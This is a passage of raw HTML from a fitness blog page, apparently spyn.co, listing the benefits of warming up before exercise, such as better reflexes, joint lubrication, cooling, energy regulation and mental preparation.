 class='avia-image-container av-av_image-c5b2cf23932cad0622ce674a4bb854e9 av-styling- avia_animated_image av-animated-when-visible-95 pop-up avia-align-center  avia-builder-el-37  avia-builder-el-no-sibling '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" fetchpriority=\"high\" class='wp-image-1593 avia-img-lazy-loading-not-1593 avia_image ' src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/Timer-80x80.png\" alt='4 Improved Co-ordination &amp; Reflexes' title='4  Improved Co-ordination &amp; Reflexes'  height=\"80\" width=\"80\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/Timer-80x80.png 80w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Timer-300x300.png 300w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Timer-36x36.png 36w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Timer-180x180.png 180w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Timer-120x120.png 120w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Timer.png 450w\" sizes=\"(max-width: 80px) 100vw, 80px\" \/><\/div><\/div><\/div><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fourth-2a64de42b738552fe666ca889af77e28\">\n.flex_column.av-av_three_fourth-2a64de42b738552fe666ca889af77e28{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_three_fourth-2a64de42b738552fe666ca889af77e28 av_three_fourth  avia-builder-el-38  el_after_av_one_fourth  avia-builder-el-last  flex_column_div av-zero-column-padding  '     ><p>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-f5a71a80adf77322623c50abbe1df07e\">\n#top .av-special-heading.av-av_heading-f5a71a80adf77322623c50abbe1df07e{\npadding-bottom:10px;\n}\nbody .av-special-heading.av-av_heading-f5a71a80adf77322623c50abbe1df07e .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-f5a71a80adf77322623c50abbe1df07e .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-f5a71a80adf77322623c50abbe1df07e av-special-heading-h3 blockquote modern-quote  avia-builder-el-39  el_before_av_textblock  avia-builder-el-first '><h3 class='av-special-heading-tag '  itemprop=\"headline\"  >Improved Co-ordination <span class='special_amp'>&amp;<\/span> Reflexes<\/h3><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div><br \/>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p>The improved neural transmission results in faster message relay from the brain.\u00a0Increased muscle elasticity affords greater economy of movement because of lowered viscous resistance within warmed muscles. Higher oxygen availability make faster expansions and contractions possible. These factors put together help you improve hand-eye-brain co-ordination and\u00a0reaction time.<\/p>\n<\/div><\/section><\/p><\/div>\n\n<\/div><\/div><\/div><!-- close content main div --><\/div><\/div><div id='av_section_7'  class='avia-section av-av_section-d18d8c2c81d10022ebd21ffa95322c35 main_color avia-section-default avia-no-shadow  avia-builder-el-41  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-1554'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fourth-352b07ef7d3bc99b2e9f92e7a9e06bdb\">\n.flex_column.av-av_one_fourth-352b07ef7d3bc99b2e9f92e7a9e06bdb{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fourth-352b07ef7d3bc99b2e9f92e7a9e06bdb av_one_fourth  avia-builder-el-42  el_before_av_three_fourth  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-15e5709aa9608b6d9eb80a71e75bc097\">\n.avia-image-container.av-av_image-15e5709aa9608b6d9eb80a71e75bc097 img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-15e5709aa9608b6d9eb80a71e75bc097 .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-15e5709aa9608b6d9eb80a71e75bc097 av-styling- avia_animated_image av-animated-when-visible-95 pop-up avia-align-center  avia-builder-el-43  avia-builder-el-no-sibling '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" fetchpriority=\"high\" class='wp-image-1591 avia-img-lazy-loading-not-1591 avia_image ' src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/xray-80x80.png\" alt='Lubricated Joints' title='Lubricated Joints'  height=\"80\" width=\"80\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/xray-80x80.png 80w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/xray-300x300.png 300w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/xray-36x36.png 36w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/xray-180x180.png 180w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/xray-120x120.png 120w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/xray.png 450w\" sizes=\"(max-width: 80px) 100vw, 80px\" \/><\/div><\/div><\/div><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fourth-2a64de42b738552fe666ca889af77e28\">\n.flex_column.av-av_three_fourth-2a64de42b738552fe666ca889af77e28{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_three_fourth-2a64de42b738552fe666ca889af77e28 av_three_fourth  avia-builder-el-44  el_after_av_one_fourth  avia-builder-el-last  flex_column_div av-zero-column-padding  '     ><p>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-2f05ffe2ec4e4ddce89832bbf3b977d2\">\n#top .av-special-heading.av-av_heading-2f05ffe2ec4e4ddce89832bbf3b977d2{\npadding-bottom:10px;\n}\nbody .av-special-heading.av-av_heading-2f05ffe2ec4e4ddce89832bbf3b977d2 .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-2f05ffe2ec4e4ddce89832bbf3b977d2 .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-2f05ffe2ec4e4ddce89832bbf3b977d2 av-special-heading-h3 blockquote modern-quote  avia-builder-el-45  el_before_av_textblock  avia-builder-el-first '><h3 class='av-special-heading-tag '  itemprop=\"headline\"  >Lubricated Joints<\/h3><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div><br \/>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p>A warmup improves the lubrication in your joints for easier (and less painful) movement.<\/p>\n<\/div><\/section><\/p><\/div>\n\n<\/div><\/div><\/div><!-- close content main div --><\/div><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_section-7e77d87f8875afd73fe1e293982e3d97\">\n.avia-section.av-av_section-7e77d87f8875afd73fe1e293982e3d97{\nbackground-color:#ffff8d;\nbackground-image:unset;\n}\n<\/style>\n<div id='av_section_8'  class='avia-section av-av_section-7e77d87f8875afd73fe1e293982e3d97 main_color avia-section-default avia-no-shadow  avia-builder-el-47  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-1554'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-09ebf91f1520036e035be12085ebb227\">\n#top .av-special-heading.av-av_heading-09ebf91f1520036e035be12085ebb227{\npadding-bottom:10px;\n}\nbody .av-special-heading.av-av_heading-09ebf91f1520036e035be12085ebb227 .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-09ebf91f1520036e035be12085ebb227 .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-09ebf91f1520036e035be12085ebb227 av-special-heading-h3 blockquote modern-quote modern-centered  avia-builder-el-48  el_before_av_textblock  avia-builder-el-first '><h3 class='av-special-heading-tag '  itemprop=\"headline\"  ><span class='special_amp'>\u201c<\/span>If you spend too much time warming up, you\u2018ll miss the race. If you don\u2019t warm up at all, you may not finish the race.<span class='special_amp'>\u201d<\/span><\/h3><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p style=\"text-align: right\">-Grand Heidrich<\/p>\n<\/div><\/section>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_half-352b07ef7d3bc99b2e9f92e7a9e06bdb\">\n.flex_column.av-av_one_half-352b07ef7d3bc99b2e9f92e7a9e06bdb{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_half-352b07ef7d3bc99b2e9f92e7a9e06bdb av_one_half  avia-builder-el-50  el_after_av_textblock  el_before_av_one_half  first flex_column_div av-zero-column-padding  column-top-margin'     ><section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-1612\" src=\"https:\/\/www.blog.spyn.co\/wp-content\/uploads\/20160119_WarmupBenefits-208x300.png\" alt=\"20160119_WarmupBenefits\" width=\"220\" height=\"318\" \/><\/p>\n<\/div><\/section><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_half-2a64de42b738552fe666ca889af77e28\">\n.flex_column.av-av_one_half-2a64de42b738552fe666ca889af77e28{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_half-2a64de42b738552fe666ca889af77e28 av_one_half  avia-builder-el-52  el_after_av_one_half  avia-builder-el-last  flex_column_div av-zero-column-padding  column-top-margin'     ><p>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_hr-d59938ea8e504299918568998e6a1d7e\">\n#top .hr.hr-invisible.av-av_hr-d59938ea8e504299918568998e6a1d7e{\nheight:75px;\n}\n<\/style>\n<div  class='hr av-av_hr-d59938ea8e504299918568998e6a1d7e hr-invisible  avia-builder-el-53  el_before_av_heading  avia-builder-el-first '><span class='hr-inner '><span class=\"hr-inner-style\"><\/span><\/span><\/div><br \/>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-ddc1f300afb206c224f7f9c7e19ca68a\">\n#top .av-special-heading.av-av_heading-ddc1f300afb206c224f7f9c7e19ca68a{\npadding-bottom:10px;\n}\nbody .av-special-heading.av-av_heading-ddc1f300afb206c224f7f9c7e19ca68a .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-ddc1f300afb206c224f7f9c7e19ca68a .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-ddc1f300afb206c224f7f9c7e19ca68a av-special-heading-h4 blockquote modern-quote modern-centered  avia-builder-el-54  el_after_av_hr  el_before_av_codeblock '><h4 class='av-special-heading-tag '  itemprop=\"headline\"  >Get this beautiful WarmUp Reminder Placard in your inbox<\/h4><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div><br \/>\n<br \/>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_hr-d59938ea8e504299918568998e6a1d7e\">\n#top .hr.hr-invisible.av-av_hr-d59938ea8e504299918568998e6a1d7e{\nheight:75px;\n}\n<\/style>\n<div  class='hr av-av_hr-d59938ea8e504299918568998e6a1d7e hr-invisible  avia-builder-el-56  el_after_av_codeblock  el_before_av_social_share '><span class='hr-inner '><span class=\"hr-inner-style\"><\/span><\/span><\/div><br \/>\n<div  class='av-social-sharing-box av-av_social_share-b6034d2210b3b392693a8530c02fec63 av-social-sharing-box-minimal  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class='avia_hidden_link_text'>Share on LinkedIn<\/span><\/a><\/li><\/ul><\/div><\/div><\/p><\/div>\n\n<\/div><\/div><\/div><!-- close content main div --><\/div><\/div><div id='av_section_9'  class='avia-section av-av_section-d18d8c2c81d10022ebd21ffa95322c35 main_color avia-section-default avia-no-shadow  avia-builder-el-58  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-1554'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fourth-352b07ef7d3bc99b2e9f92e7a9e06bdb\">\n.flex_column.av-av_one_fourth-352b07ef7d3bc99b2e9f92e7a9e06bdb{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fourth-352b07ef7d3bc99b2e9f92e7a9e06bdb av_one_fourth  avia-builder-el-59  el_before_av_three_fourth  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-c7a76380fe084c607b2fa7be1503949b\">\n.avia-image-container.av-av_image-c7a76380fe084c607b2fa7be1503949b img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-c7a76380fe084c607b2fa7be1503949b .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-c7a76380fe084c607b2fa7be1503949b av-styling- avia_animated_image av-animated-when-visible-95 pop-up avia-align-center  avia-builder-el-60  avia-builder-el-no-sibling '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" fetchpriority=\"high\" class='wp-image-1604 avia-img-lazy-loading-not-1604 avia_image ' src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/sweat-80x80.png\" alt='Improved cooling' title='Improved cooling'  height=\"80\" width=\"80\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/sweat-80x80.png 80w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/sweat-300x300.png 300w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/sweat-36x36.png 36w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/sweat-180x180.png 180w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/sweat-120x120.png 120w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/sweat.png 450w\" sizes=\"(max-width: 80px) 100vw, 80px\" \/><\/div><\/div><\/div><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fourth-2a64de42b738552fe666ca889af77e28\">\n.flex_column.av-av_three_fourth-2a64de42b738552fe666ca889af77e28{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_three_fourth-2a64de42b738552fe666ca889af77e28 av_three_fourth  avia-builder-el-61  el_after_av_one_fourth  avia-builder-el-last  flex_column_div av-zero-column-padding  '     ><p>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-db819c206fa419b82bd000c270f3acf0\">\n#top .av-special-heading.av-av_heading-db819c206fa419b82bd000c270f3acf0{\npadding-bottom:10px;\n}\nbody .av-special-heading.av-av_heading-db819c206fa419b82bd000c270f3acf0 .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-db819c206fa419b82bd000c270f3acf0 .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-db819c206fa419b82bd000c270f3acf0 av-special-heading-h3 blockquote modern-quote  avia-builder-el-62  el_before_av_textblock  avia-builder-el-first '><h3 class='av-special-heading-tag '  itemprop=\"headline\"  >Improved cooling<\/h3><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div><br \/>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p>By activating the heat-dissipation mechanisms in the body (efficient sweating) an athlete can cool efficiently and help prevent overheating early in the event or race.<\/p>\n<\/div><\/section><\/p><\/div>\n\n<\/div><\/div><\/div><!-- close content main div --><\/div><\/div><div id='av_section_10'  class='avia-section av-av_section-d18d8c2c81d10022ebd21ffa95322c35 main_color avia-section-default avia-no-shadow  avia-builder-el-64  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-1554'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fourth-352b07ef7d3bc99b2e9f92e7a9e06bdb\">\n.flex_column.av-av_one_fourth-352b07ef7d3bc99b2e9f92e7a9e06bdb{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fourth-352b07ef7d3bc99b2e9f92e7a9e06bdb av_one_fourth  avia-builder-el-65  el_before_av_three_fourth  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-dab12e55fb803a2a287bda64ac849d09\">\n.avia-image-container.av-av_image-dab12e55fb803a2a287bda64ac849d09 img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-dab12e55fb803a2a287bda64ac849d09 .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-dab12e55fb803a2a287bda64ac849d09 av-styling- avia_animated_image av-animated-when-visible-95 pop-up avia-align-center  avia-builder-el-66  avia-builder-el-no-sibling '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" fetchpriority=\"high\" class='wp-image-1596 avia-img-lazy-loading-not-1596 avia_image ' src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/Hormones-80x80.png\" alt='Energy Regulation' title='Energy Regulation'  height=\"80\" width=\"80\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/Hormones-80x80.png 80w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Hormones-300x300.png 300w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Hormones-36x36.png 36w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Hormones-180x180.png 180w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Hormones-120x120.png 120w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Hormones.png 450w\" sizes=\"(max-width: 80px) 100vw, 80px\" \/><\/div><\/div><\/div><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fourth-2a64de42b738552fe666ca889af77e28\">\n.flex_column.av-av_three_fourth-2a64de42b738552fe666ca889af77e28{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_three_fourth-2a64de42b738552fe666ca889af77e28 av_three_fourth  avia-builder-el-67  el_after_av_one_fourth  avia-builder-el-last  flex_column_div av-zero-column-padding  '     ><p>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-df58967502a50439436b50e5ee7fe0e3\">\n#top .av-special-heading.av-av_heading-df58967502a50439436b50e5ee7fe0e3{\npadding-bottom:10px;\n}\nbody .av-special-heading.av-av_heading-df58967502a50439436b50e5ee7fe0e3 .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-df58967502a50439436b50e5ee7fe0e3 .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-df58967502a50439436b50e5ee7fe0e3 av-special-heading-h3 blockquote modern-quote  avia-builder-el-68  el_before_av_textblock  avia-builder-el-first '><h3 class='av-special-heading-tag '  itemprop=\"headline\"  >Energy Regulation<\/h3><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div><br \/>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p>Your body increases its production of various hormones responsible for regulating energy production. During warm-up this balance of hormones makes more carbohydrates and fatty acids\u00a0available for energy production.<\/p>\n<\/div><\/section><\/p><\/div>\n\n<\/div><\/div><\/div><!-- close content main div --><\/div><\/div><div id='av_section_11'  class='avia-section av-av_section-d18d8c2c81d10022ebd21ffa95322c35 main_color avia-section-default avia-no-shadow  avia-builder-el-70  el_after_av_section  el_before_av_hr  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-1554'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fourth-352b07ef7d3bc99b2e9f92e7a9e06bdb\">\n.flex_column.av-av_one_fourth-352b07ef7d3bc99b2e9f92e7a9e06bdb{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fourth-352b07ef7d3bc99b2e9f92e7a9e06bdb av_one_fourth  avia-builder-el-71  el_before_av_three_fourth  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-ee30ffd34d66d9a7fd430a3698b87dfe\">\n.avia-image-container.av-av_image-ee30ffd34d66d9a7fd430a3698b87dfe img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-ee30ffd34d66d9a7fd430a3698b87dfe .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-ee30ffd34d66d9a7fd430a3698b87dfe av-styling- avia_animated_image av-animated-when-visible-95 pop-up avia-align-center  avia-builder-el-72  avia-builder-el-no-sibling '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" fetchpriority=\"high\" class='wp-image-1488 avia-img-lazy-loading-not-1488 avia_image ' src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/Brain-Games-80x80.png\" alt='Mental Preparation' title='Mental Preparation'  height=\"80\" width=\"80\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/Brain-Games-80x80.png 80w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Brain-Games-300x300.png 300w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Brain-Games-768x768.png 768w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Brain-Games-1030x1030.png 1030w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Brain-Games-36x36.png 36w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Brain-Games-180x180.png 180w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Brain-Games-705x705.png 705w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Brain-Games-120x120.png 120w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Brain-Games-450x450.png 450w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Brain-Games.png 1042w\" sizes=\"(max-width: 80px) 100vw, 80px\" \/><\/div><\/div><\/div><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fourth-2a64de42b738552fe666ca889af77e28\">\n.flex_column.av-av_three_fourth-2a64de42b738552fe666ca889af77e28{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_three_fourth-2a64de42b738552fe666ca889af77e28 av_three_fourth  avia-builder-el-73  el_after_av_one_fourth  avia-builder-el-last  flex_column_div av-zero-column-padding  '     ><p>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-2b729bb327d7cde98b3ffe83fb6a2408\">\n#top .av-special-heading.av-av_heading-2b729bb327d7cde98b3ffe83fb6a2408{\npadding-bottom:10px;\n}\nbody .av-special-heading.av-av_heading-2b729bb327d7cde98b3ffe83fb6a2408 .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-2b729bb327d7cde98b3ffe83fb6a2408 .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-2b729bb327d7cde98b3ffe83fb6a2408 av-special-heading-h3 blockquote modern-quote  avia-builder-el-74  el_before_av_textblock  avia-builder-el-first '><h3 class='av-special-heading-tag '  itemprop=\"headline\"  >Mental Preparation<\/h3><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div><br \/>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p>Help mentally prepare you for the workout ahead, giving you a few minutes to get &#8220;pumped up&#8221; for a great workout!\u00a0 The warm-up is also a good time to mentally prepare for an event by clearing the mind, increasing focus, reviewing skills and strategy. Positive imagery can also relax the athlete and build concentration.<\/p>\n<p>Icon made by Freepik from www.flaticon.com<\/p>\n<\/div><\/section><\/p><\/div>\n<\/div><\/div><\/div><!-- close content main div --><\/div><\/div><div id='after_section_11'  class='main_color av_default_container_wrap container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-1554'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_hr-0688d0b0b6ed2f8b057db7a8270206df\">\n#top .hr.hr-invisible.av-av_hr-0688d0b0b6ed2f8b057db7a8270206df{\nheight:50px;\n}\n<\/style>\n<div  class='hr av-av_hr-0688d0b0b6ed2f8b057db7a8270206df hr-invisible  avia-builder-el-76  el_after_av_section  el_before_av_heading  avia-builder-el-first '><span class='hr-inner '><span class=\"hr-inner-style\"><\/span><\/span><\/div>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-963598db9fba77206983c87f78f5dd55\">\n#top .av-special-heading.av-av_heading-963598db9fba77206983c87f78f5dd55{\npadding-bottom:10px;\n}\nbody .av-special-heading.av-av_heading-963598db9fba77206983c87f78f5dd55 .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-963598db9fba77206983c87f78f5dd55 .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-963598db9fba77206983c87f78f5dd55 av-special-heading-h3 blockquote modern-quote modern-centered  avia-builder-el-77  el_after_av_hr  el_before_av_one_fourth '><h3 class='av-special-heading-tag '  itemprop=\"headline\"  >What is the most important benefit you have gained from warmups? Leave a comment below&#8230;<\/h3><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fourth-352b07ef7d3bc99b2e9f92e7a9e06bdb\">\n.flex_column.av-av_one_fourth-352b07ef7d3bc99b2e9f92e7a9e06bdb{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fourth-352b07ef7d3bc99b2e9f92e7a9e06bdb av_one_fourth  avia-builder-el-78  el_after_av_heading  el_before_av_one_half  first flex_column_div av-zero-column-padding  '     ><\/div>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" 